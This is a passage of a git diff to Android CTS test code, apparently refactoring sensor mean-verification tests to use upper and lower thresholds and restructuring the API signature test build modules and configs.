+ private static void verifyStats(SensorStats stats, boolean passed, float[] initialMeans,
+ float[] laterMeans) {
+ assertEquals(passed, stats.getValue(InitialValueVerification.PASSED_KEY));
+ float[] actualInitialMeans = (float[]) stats.getValue(SensorStats.INITIAL_MEAN_KEY);
+ float[] actualLaterMeans = (float[]) stats.getValue(SensorStats.LATER_MEAN_KEY);
+ assertEquals(initialMeans.length, actualInitialMeans.length);
+ assertEquals(laterMeans.length, actualLaterMeans.length);
+ for (int i = 0; i < initialMeans.length; i++) {
+ assertEquals(initialMeans[i], actualInitialMeans[i], 0.1);
+ assertEquals(laterMeans[i], actualLaterMeans[i], 0.1);
+ }
+ }
+}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java
index d8e1586..4ac4999 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java
@@ -62,7 +62,7 @@
verification = getVerification(1, timestamps);
try {
verification.verify(environment, stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java
index ac873c1..dfd951d 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java
@@ -57,7 +57,7 @@
} else {
try {
verification.verify(stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
index 6603895..17882d7 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
@@ -20,6 +20,7 @@
import android.hardware.Sensor;
import android.hardware.SensorManager;
+import android.hardware.cts.helpers.SensorCtsHelper;
import android.hardware.cts.helpers.SensorStats;
import android.hardware.cts.helpers.TestSensorEnvironment;
@@ -33,24 +34,28 @@
public static final String PASSED_KEY = "mean_passed";
// sensorType: {expected, threshold}
- private static final Map<Integer, Object[]> DEFAULTS = new HashMap<Integer, Object[]>(5);
+ private static final Map<Integer, ExpectedValuesAndThresholds> DEFAULTS
+ = new HashMap<Integer, ExpectedValuesAndThresholds>(5);
static {
// Use a method so that the @deprecation warning can be set for that method only
setDefaults();
}
private final float[] mExpected;
- private final float[] mThreshold;
+ private final float[] mUpperThresholds;
+ private final float[] mLowerThresholds;
/**
* Construct a {@link MeanVerification}
*
* @param expected the expected values
- * @param threshold the thresholds
+ * @param upperThresholds the upper thresholds
+ * @param lowerThresholds the lower thresholds
*/
- public MeanVerification(float[] expected, float[] threshold) {
+ public MeanVerification(float[] expected, float[] upperThresholds, float[] lowerThresholds) {
mExpected = expected;
- mThreshold = threshold;
+ mUpperThresholds = upperThresholds;
+ mLowerThresholds = lowerThresholds;
}
/**
@@ -64,9 +69,10 @@
if (!DEFAULTS.containsKey(sensorType)) {
return null;
}
- float[] expected = (float[]) DEFAULTS.get(sensorType)[0];
- float[] threshold = (float[]) DEFAULTS.get(sensorType)[1];
- return new MeanVerification(expected, threshold);
+ float[] expected = DEFAULTS.get(sensorType).mExpectedValues;
+ float[] upperThresholds = DEFAULTS.get(sensorType).mUpperThresholds;
+ float[] lowerThresholds = DEFAULTS.get(sensorType).mLowerThresholds;
+ return new MeanVerification(expected, upperThresholds, lowerThresholds);
}
/**
@@ -92,66 +98,104 @@
float[] means = getMeans();
boolean failed = false;
- StringBuilder meanSb = new StringBuilder();
- StringBuilder expectedSb = new StringBuilder();
-
- if (means.length > 1) {
- meanSb.append("(");
- expectedSb.append("(");
- }
for (int i = 0; i < means.length; i++) {
- if (Math.abs(means[i] - mExpected[i]) > mThreshold[i]) {
+ if (means[i] > mExpected[i] + mUpperThresholds[i]) {
failed = true;
}
- meanSb.append(String.format("%.2f", means[i]));
- if (i != means.length - 1) meanSb.append(", ");
- expectedSb.append(String.format("%.2f+/-%.2f", mExpected[i], mThreshold[i]));
- if (i != means.length - 1) expectedSb.append(", ");
- }
- if (means.length > 1) {
- meanSb.append(")");
- expectedSb.append(")");
+ if (means[i] < mExpected[i] - mLowerThresholds[i]) {
+ failed = true;
+ }
}
stats.addValue(PASSED_KEY, !failed);
stats.addValue(SensorStats.MEAN_KEY, means);
if (failed) {
- Assert.fail(String.format("Mean out of range: mean=%s (expected %s)", meanSb.toString(),
- expectedSb.toString()));
+ Assert.fail(String.format("Mean out of range: mean=%s (expected %s)",
+ SensorCtsHelper.formatFloatArray(means),
+ SensorCtsHelper.formatFloatArray(mExpected)));
}
}
@Override
public MeanVerification clone() {
- return new MeanVerification(mExpected, mThreshold);
+ return new MeanVerification(mExpected, mUpperThresholds, mLowerThresholds);
}
@SuppressWarnings("deprecation")
private static void setDefaults() {
// Sensors that we don't want to test at this time but still want to record the values.
// Gyroscope should be 0 for a static device
- DEFAULTS.put(Sensor.TYPE_GYROSCOPE, new Object[]{
- new float[]{0.0f, 0.0f, 0.0f},
- new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE}});
+ DEFAULTS.put(Sensor.TYPE_GYROSCOPE,
+ new ExpectedValuesAndThresholds(new float[]{0.0f, 0.0f, 0.0f},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE}));
// Pressure will not be exact in a controlled environment but should be relatively close to
- // sea level. Second values should always be 0.
- DEFAULTS.put(Sensor.TYPE_PRESSURE, new Object[]{
- new float[]{SensorManager.PRESSURE_STANDARD_ATMOSPHERE, 0.0f, 0.0f},
- new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE}});
+ // sea level (400HPa and 200HPa are very lax thresholds).
+ // Second values should always be 0.
+ DEFAULTS.put(Sensor.TYPE_PRESSURE,
+ new ExpectedValuesAndThresholds(new float[]{SensorManager.PRESSURE_STANDARD_ATMOSPHERE,
+ 0.0f,
+ 0.0f},
+ new float[]{100f,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE},
+ new float[]{400f,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE}));
// Linear acceleration should be 0 in all directions for a static device
- DEFAULTS.put(Sensor.TYPE_LINEAR_ACCELERATION, new Object[]{
- new float[]{0.0f, 0.0f, 0.0f},
- new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE}});
+ DEFAULTS.put(Sensor.TYPE_LINEAR_ACCELERATION,
+ new ExpectedValuesAndThresholds(new float[]{0.0f, 0.0f, 0.0f},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE}));
// Game rotation vector should be (0, 0, 0, 1, 0) for a static device
- DEFAULTS.put(Sensor.TYPE_GAME_ROTATION_VECTOR, new Object[]{
- new float[]{0.0f, 0.0f, 0.0f, 1.0f, 0.0f},
- new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
- Float.MAX_VALUE}});
+ DEFAULTS.put(Sensor.TYPE_GAME_ROTATION_VECTOR,
+ new ExpectedValuesAndThresholds(new float[]{0.0f, 0.0f, 0.0f, 1.0f, 0.0f},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE}));
// Uncalibrated gyroscope should be 0 for a static device but allow a bigger threshold
- DEFAULTS.put(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, new Object[]{
- new float[]{0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f},
- new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
- Float.MAX_VALUE, Float.MAX_VALUE}});
+ DEFAULTS.put(Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
+ new ExpectedValuesAndThresholds(new float[]{0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE},
+ new float[]{Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE,
+ Float.MAX_VALUE}));
+ }
+
+ private static final class ExpectedValuesAndThresholds {
+ private float[] mExpectedValues;
+ private float[] mUpperThresholds;
+ private float[] mLowerThresholds;
+ private ExpectedValuesAndThresholds(float[] expectedValues,
+ float[] upperThresholds,
+ float[] lowerThresholds) {
+ mExpectedValues = expectedValues;
+ mUpperThresholds = upperThresholds;
+ mLowerThresholds = lowerThresholds;
+ }
}
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java
index d7fcf9f..6661e78 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java
@@ -29,6 +29,7 @@
* Tests for {@link MeanVerification}.
*/
public class MeanVerificationTest extends TestCase {
+ private static final float[] MEANS = {2.0f, 3.0f, 6.0f};
/**
* Test {@link MeanVerification#verify(TestSensorEnvironment, SensorStats)}.
@@ -43,62 +44,106 @@
};
float[] expected = {2.0f, 3.0f, 6.0f};
- float[] threshold = {0.1f, 0.1f, 0.1f};
+ float[] upperThresholds = {0.3f, 0.3f, 0.3f};
+ float[] lowerThresholds = {0.1f, 0.1f, 0.1f};
SensorStats stats = new SensorStats();
- MeanVerification verification = getVerification(expected, threshold, values);
+ MeanVerification verification =
+ getVerification(expected, upperThresholds, lowerThresholds, values);
verification.verify(stats);
- verifyStats(stats, true, new float[]{2.0f, 3.0f, 6.0f});
+ verifyStats(stats, true, MEANS);
- expected = new float[]{2.5f, 2.5f, 5.5f};
- threshold = new float[]{0.6f, 0.6f, 0.6f};
+ // Test the lower threshold
+ expected = new float[]{2.4f, 3.3f, 6.4f};
+ lowerThresholds = new float[]{0.6f, 0.6f, 0.6f};
stats = new SensorStats();
- verification = getVerification(expected, threshold, values);
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
verification.verify(stats);
- verifyStats(stats, true, new float[]{2.0f, 3.0f, 6.0f});
+ verifyStats(stats, true, MEANS);
- expected = new float[]{2.5f, 2.5f, 5.5f};
- threshold = new float[]{0.1f, 0.6f, 0.6f};
+ lowerThresholds = new float[]{0.1f, 0.6f, 0.6f};
stats = new SensorStats();
- verification = getVerification(expected, threshold, values);
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
try {
verification.verify(stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
- verifyStats(stats, false, new float[]{2.0f, 3.0f, 6.0f});
+ verifyStats(stats, false, MEANS);
- expected = new float[]{2.5f, 2.5f, 5.5f};
- threshold = new float[]{0.6f, 0.1f, 0.6f};
+ lowerThresholds = new float[]{0.6f, 0.1f, 0.6f};
stats = new SensorStats();
- verification = getVerification(expected, threshold, values);
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
try {
verification.verify(stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
- verifyStats(stats, false, new float[]{2.0f, 3.0f, 6.0f});
+ verifyStats(stats, false, MEANS);
- threshold = new float[]{0.6f, 0.6f, 0.1f};
+ lowerThresholds = new float[]{0.6f, 0.6f, 0.1f};
stats = new SensorStats();
- verification = getVerification(expected, threshold, values);
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
try {
verification.verify(stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
- verifyStats(stats, false, new float[]{2.0f, 3.0f, 6.0f});
+ verifyStats(stats, false, MEANS);
+
+ // Test the upper threshold
+ expected = new float[]{1.5f, 2.8f, 5.7f};
+ upperThresholds = new float[]{0.6f, 0.6f, 0.6f};
+ lowerThresholds = new float[]{0.1f, 0.1f, 0.1f};
+ stats = new SensorStats();
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
+ verification.verify(stats);
+ verifyStats(stats, true, MEANS);
+
+ upperThresholds = new float[]{0.1f, 0.6f, 0.6f};
+ stats = new SensorStats();
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
+ try {
+ verification.verify(stats);
+ throw new Error("Expected an AssertionError");
+ } catch (AssertionError e) {
+ // Expected;
+ }
+ verifyStats(stats, false, MEANS);
+
+ upperThresholds = new float[]{0.6f, 0.1f, 0.6f};
+ stats = new SensorStats();
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
+ try {
+ verification.verify(stats);
+ throw new Error("Expected an AssertionError");
+ } catch (AssertionError e) {
+ // Expected;
+ }
+ verifyStats(stats, false, MEANS);
+
+ upperThresholds = new float[]{0.6f, 0.6f, 0.1f};
+ stats = new SensorStats();
+ verification = getVerification(expected, upperThresholds, lowerThresholds, values);
+ try {
+ verification.verify(stats);
+ throw new Error("Expected an AssertionError");
+ } catch (AssertionError e) {
+ // Expected;
+ }
+ verifyStats(stats, false, MEANS);
}
- private static MeanVerification getVerification(float[] expected, float[] threshold,
- float[] ... values) {
+ private static MeanVerification getVerification(float[] expected, float[] upperThresholds,
+ float[] lowerThresholds, float[] ... values) {
Collection<TestSensorEvent> events = new ArrayList<>(values.length);
for (float[] value : values) {
events.add(new TestSensorEvent(null, 0, 0, value));
}
- MeanVerification verification = new MeanVerification(expected, threshold);
+ MeanVerification verification =
+ new MeanVerification(expected, upperThresholds, lowerThresholds);
verification.addSensorEvents(events);
return verification;
}
@@ -106,6 +151,7 @@
private void verifyStats(SensorStats stats, boolean passed, float[] means) {
assertEquals(passed, stats.getValue(MeanVerification.PASSED_KEY));
float[] actual = (float[]) stats.getValue(SensorStats.MEAN_KEY);
+ assertEquals(means.length, actual.length);
for (int i = 0; i < means.length; i++) {
assertEquals(means[i], actual[i], 0.1);
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java
index b8412a6..a65323d 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java
@@ -191,7 +191,7 @@
for (int i = 0; i < indices.length; i++) {
assertEquals(indices[i], actualIndices[i]);
}
- } catch (Throwable t) {
+ } catch (Exception t) {
}
}
diff --git a/tests/signature/Android.mk b/tests/signature/Android.mk
index 8502c59..fec47b6 100644
--- a/tests/signature/Android.mk
+++ b/tests/signature/Android.mk
@@ -13,6 +13,10 @@
# limitations under the License.
LOCAL_PATH:= $(call my-dir)
+
+# cts-signature-common java library
+# =================================
+
include $(CLEAR_VARS)
# don't include this package in any target
@@ -20,18 +24,11 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_PACKAGE_NAME := CtsSignatureTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_MODULE := cts-signature-common
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
- compatibility-device-util \
- android-support-test
-
-include $(BUILD_CTS_PACKAGE)
+include $(BUILD_STATIC_JAVA_LIBRARY)
# signature-hostside java library (for testing)
# ============================================================
@@ -39,7 +36,7 @@
include $(CLEAR_VARS)
# These files are for device-side only, so filter-out for host library
-LOCAL_DEVICE_ONLY_SOURCES := %/SignatureTest.java %/IntentTest.java %/CurrentApi.java
+LOCAL_DEVICE_ONLY_SOURCES := %/CurrentApi.java %/ApiDocumentParser.java
LOCAL_SRC_FILES := $(filter-out $(LOCAL_DEVICE_ONLY_SOURCES), $(call all-java-files-under, src))
diff --git a/tests/signature/AndroidManifest.xml b/tests/signature/AndroidManifest.xml
deleted file mode 100644
index 41a4233..0000000
--- a/tests/signature/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts">
- <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
- <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-
- <application>
- <uses-library android:name="android.test.runner"/>
- </application>
-
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.signature.cts"
- android:label="API Signature Test"/>
-
-</manifest>
diff --git a/tests/signature/AndroidTest.xml b/tests/signature/AndroidTest.xml
deleted file mode 100644
index 0ca8ce2..0000000
--- a/tests/signature/AndroidTest.xml
+++ /dev/null
@@ -1,47 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS Signature test cases">
- <option name="config-descriptor:metadata" key="component" value="systems" />
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsSignatureTestCases" />
- <option name="version" value="1.0" />
- </target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
- <option name='run-command'
- value='pm list packages | while read a; do dumpsys package ${a#"package:"} > /data/local/tmp/signature-test-packages/${a#"package:"}.txt; done' />
- <option name="teardown-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
- </target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
- </target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsSignatureTestCases.apk" />
- </target_preparer>
- <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.signature.cts" />
- <option name="runtime-hint" value="7m11s" />
- </test>
-</configuration>
diff --git a/tests/signature/DynamicConfig.xml b/tests/signature/DynamicConfig.xml
deleted file mode 100644
index 0c968a8..0000000
--- a/tests/signature/DynamicConfig.xml
+++ /dev/null
@@ -1,119 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 Google Inc.
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<!--
- Bug: 33305737 android.intent.action.ACTION_CARRIER_SETUP
- Bug: 36980009 android.intent.action.QUICKBOOT_POWERON
- Bug: 36977779 android.intent.action.MASTER_CLEAR
- Bug: 38182465 android.intent.action.ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED
- Bug: 70315695 android.intent.action.HDMI_PLUGGED
- Bug: 113551146 android.intent.action.ACTION_AIRPLANE_MODE_CHANGED
- Will be removed after v17 of CS.apk is released.
- Bug: 114804753 android.intent.action.DISMISS_TIMER (public in API 28)
- Bug: 117590943 android.intent.action.View
- Fixed in GMSCore v14.7.68.
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.EMERGENCY_STATE_CHANGED
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.USER_ADDED
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.OMADM_BROWSER_SET_HOMEPAGE
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.OMADM_BROWSER_GET_HOMEPAGE
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.CSC_BROWSER_SET_HOMEPAGE
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.CSC_BROWSER_SET_SEARCH_ENGINE
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.STK_BROWSER_GET_HOMEPAGE2
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.SBROWSER_QR_SCAN_RESULT
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.BCS_REQUEST
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.STK_BROWSER_GET_HOMEPAGE
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.CHAMELEON_BROWSER_SET_HOMEPAGE
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.USER_ADDED
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.PEDOMETER_SETTING_SYNC
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.OMADM_BROWSER_SET_HOMEPAGE
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.OMADM_BROWSER_GET_HOMEPAGE
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.CSC_BROWSER_SET_HOMEPAGE
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.CSC_BROWSER_SET_SEARCH_ENGINE
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.STK_BROWSER_GET_HOMEPAGE2
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.SBROWSER_QR_SCAN_RESULT
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.BCS_REQUEST
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.STK_BROWSER_GET_HOMEPAGE
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.CHAMELEON_BROWSER_SET_HOMEPAGE
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.STOP_NETWORK_BOOSTER
- Bug: 67109014 This intent will be fixed in P.
- android.intent.action.START_NETWORK_BOOSTER
- Bug: 67109014 Under discussion for P, need whitelisting for O.
- android.intent.action.BADGE_COUNT_UPDATE
--->
-<dynamicConfig>
- <entry key ="intent_whitelist">
- <value>android.intent.action.ACTION_CARRIER_SETUP</value>
- <value>android.intent.action.QUICKBOOT_POWERON</value>
- <value>android.intent.action.ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED</value>
- <value>android.intent.action.HDMI_PLUGGED</value>
- <value>android.intent.action.ACTION_AIRPLANE_MODE_CHANGED</value>
- <value>android.intent.action.DISMISS_TIMER</value>
- <value>android.intent.action.View</value>
- <value>android.intent.action.EMERGENCY_STATE_CHANGED</value>
- <value>android.intent.action.USER_ADDED</value>
- <value>android.intent.action.OMADM_BROWSER_SET_HOMEPAGE</value>
- <value>android.intent.action.OMADM_BROWSER_GET_HOMEPAGE</value>
- <value>android.intent.action.CSC_BROWSER_SET_HOMEPAGE</value>
- <value>android.intent.action.CSC_BROWSER_SET_SEARCH_ENGINE</value>
- <value>android.intent.action.STK_BROWSER_GET_HOMEPAGE2</value>
- <value>android.intent.action.SBROWSER_QR_SCAN_RESULT</value>
- <value>android.intent.action.BCS_REQUEST</value>
- <value>android.intent.action.STK_BROWSER_GET_HOMEPAGE</value>
- <value>android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP</value>
- <value>android.intent.action.CHAMELEON_BROWSER_SET_HOMEPAGE</value>
- <value>android.intent.action.USER_ADDED</value>
- <value>android.intent.action.PEDOMETER_SETTING_SYNC</value>
- <value>android.intent.action.OMADM_BROWSER_SET_HOMEPAGE</value>
- <value>android.intent.action.OMADM_BROWSER_GET_HOMEPAGE</value>
- <value>android.intent.action.CSC_BROWSER_SET_HOMEPAGE</value>
- <value>android.intent.action.CSC_BROWSER_SET_SEARCH_ENGINE</value>
- <value>android.intent.action.STK_BROWSER_GET_HOMEPAGE2</value>
- <value>android.intent.action.SBROWSER_QR_SCAN_RESULT</value>
- <value>android.intent.action.BCS_REQUEST</value>
- <value>android.intent.action.STK_BROWSER_GET_HOMEPAGE</value>
- <value>android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP</value>
- <value>android.intent.action.CHAMELEON_BROWSER_SET_HOMEPAGE</value>
- <value>android.intent.action.STOP_NETWORK_BOOSTER</value>
- <value>android.intent.action.START_NETWORK_BOOSTER</value>
- <value>android.intent.action.BADGE_COUNT_UPDATE</value>
- </entry>
-</dynamicConfig>
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
new file mode 100644
index 0000000..013cc4d
--- /dev/null
+++ b/tests/signature/api-check/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+# cts-api-signature-test java library
+# ===================================
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := cts-api-signature-test
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ cts-signature-common \
+ repackaged-legacy-test \
+ repackaged.android.test.runner \
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.mk b/tests/signature/api-check/android-test-mock-current-api/Android.mk
new file mode 100644
index 0000000..b60f6a3
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/Android.mk
@@ -0,0 +1,24 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsAndroidTestMockCurrentApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ android-test-mock-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
new file mode 100644
index 0000000..5c88521
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
